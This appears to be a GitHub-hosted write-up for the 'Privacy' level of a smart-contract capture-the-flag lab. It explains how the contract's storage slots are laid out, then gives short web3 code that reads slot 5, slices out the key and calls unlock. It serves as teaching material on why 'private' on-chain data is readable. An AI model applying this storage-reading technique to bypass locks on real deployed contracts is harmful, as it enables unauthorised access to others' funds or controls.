Skip to content

Latest commit

 

History

History
14 lines (12 loc) · 362 Bytes

12-privacy.md

File metadata and controls

14 lines (12 loc) · 362 Bytes

we can read the memory to find the key. the position is 5 since:

  1. is the locked bool
  2. uint256 with the block timestamp
  3. contains flattening, denomination and awkwardness (uint8 + uint8 + uint16)
  4. data[0]
  5. data[1]
  6. data[2]
const data = await web3.eth.getStorageAt(instance, 5);
const key = data.slice(0, 34);
contract.unlock(key);